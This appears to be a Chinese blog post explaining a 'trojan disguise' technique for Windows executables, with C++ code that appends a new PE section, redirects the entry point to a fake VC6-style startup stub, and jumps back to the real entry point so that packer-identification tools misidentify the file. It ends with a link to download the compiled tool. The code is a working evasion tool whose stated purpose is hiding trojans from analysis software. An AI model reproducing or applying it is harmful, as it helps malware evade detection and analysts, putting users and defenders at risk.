木马彩衣的原理和代码示例

木马彩衣的实现原理,也就是在程序里面加多一个Section,并且把入口点指向我们新添加的Section,然后再在我们的Section的代码里加上一个jmp,jmp到真正的入口点.这样,一些识壳软件,它在识别入口点代码时,就跑到我们新加的Section,看到里面的代码是VC6或是Delphi的代码也就认为是VC6或是Delphi的程序了.
下面是我写的一个代码,修改自"Fi7ke"老大的Delphi代码,原文可以查看http://blog.csdn.net/hnxyy/archive/2005/11/16/530694.aspx


DWORD JMPOFF=43;

char OEPCODE[]={0x55, 0x8B, 0xEC, 0x6A, 0xFF, 0x68, 0x2A, 0x2C, 0x0A, 0x00, 0x68, 0x38,
    0x90, 0x0D, 0x00, 0x64, 0xA1, 0x00, 0x00, 0x00, 0x00, 0x50, 0x64, 0x89,
    0x25, 0x00, 0x00, 0x00, 0x00, 0x58, 0x64, 0xA3, 0x00, 0x00, 0x00, 0x00,
    0x58, 0x58, 0x58, 0x58, 0x8B, 0xE8, 0xB8, 
  0x00, 0x10, 0x40, 0x00, //此处的DWORD是跳转的地址
  0xFF,0xE0, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00};

//加壳
void Encrypt(LPCSTR szFileName)
{
  //var
 
  
  IMAGE_DOS_HEADER    DosHeader;
  IMAGE_NT_HEADERS    PEHeader;
  IMAGE_SECTION_HEADER  SectionHeader;
  //新添加的Section
  IMAGE_SECTION_HEADER  MySectionHeader;
  //入口点地址
  DWORD          AddressOfEntryPoint;
  //文件流
  CFile          PEFile;
  
  //begin
  
  
  try
  {
    PEFile.Open(szFileName,CFile::modeReadWrite);
    //读取DOS头
    PEFile.SeekToBegin();
    PEFile.Read(&DosHeader,sizeof(DosHeader));
    //读取NT头
    PEFile.Seek(DosHeader.e_lfanew,CFile::begin);
    PEFile.Read(&PEHeader,sizeof(PEHeader));
    //读取Section
    PEFile.Seek(sizeof(IMAGE_SECTION_HEADER)*(PEHeader.FileHeader.NumberOfSections-1),CFile::current);
    PEFile.Read(&SectionHeader,sizeof(IMAGE_SECTION_HEADER));
    
    strncpy((LPSTR)MySectionHeader.Name,"Fi7ke/0",6);
    MySectionHeader.VirtualAddress = PEHeader.OptionalHeader.SizeOfImage;
    MySectionHeader.Misc.VirtualSize = 0x200;
    MySectionHeader.SizeOfRawData = (MySectionHeader.VirtualAddress / //div
      PEHeader.OptionalHeader.FileAlignment + 1) * PEHeader.OptionalHeader.FileAlignment -
      PEHeader.OptionalHeader.SizeOfImage;
    MySectionHeader.PointerToRawData =SectionHeader.SizeOfRawData + SectionHeader.PointerToRawData;
    MySectionHeader.Characteristics = 0x60000020;
    
    PEHeader.FileHeader.NumberOfSections++;
    PEFile.Write(&MySectionHeader, sizeof(MySectionHeader));
    PEFile.Seek(DosHeader.e_lfanew, CFile::begin);
    
    AddressOfEntryPoint = PEHeader.OptionalHeader.AddressOfEntryPoint;
    PEHeader.OptionalHeader.AddressOfEntryPoint =MySectionHeader.VirtualAddress;
    PEHeader.OptionalHeader.MajorLinkerVersion = 6;
    PEHeader.OptionalHeader.MinorLinkerVersion = 0;
    
    AddressOfEntryPoint = AddressOfEntryPoint + PEHeader.OptionalHeader.ImageBase;
           
    __asm
    {
      PUSHAD
      LEA eax, OEPCODE        //将OEPCODE的地址交给寄存器
      ADD eax, JMPOFF          //添加JMPOFF值给寄存器
      MOV edx, AddressOfEntryPoint  //转移指令,相当于付值语句,左边给右边
               
      MOV DWORD ptr [eax], edx    //同上
      POPAD
      
    }
        
           
    PEHeader.OptionalHeader.SizeOfImage =PEHeader.OptionalHeader.SizeOfImage + MySectionHeader.Misc.VirtualSize;
  
    PEFile.Write(&PEHeader, sizeof(PEHeader));       
    PEFile.SeekToEnd();
    PEFile.Write(OEPCODE, MySectionHeader.Misc.VirtualSize);
    PEFile.Close();
  }
  catch (...) 
  {
    PEFile.Close();
  }
}


[CODE]

这个是编译后的程序,放在网络硬盘上.使用时,直接点"加壳"就行了.
http://free.ys168.com:8000/ys168up/D2/?Mini木马彩衣.exey70z71fdp9f9b0b1z95bi2b2b2b2b0fq9fd1b4f9b0f6e01e20e01e24b1b1f2b0b1f9flc4fd7z

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值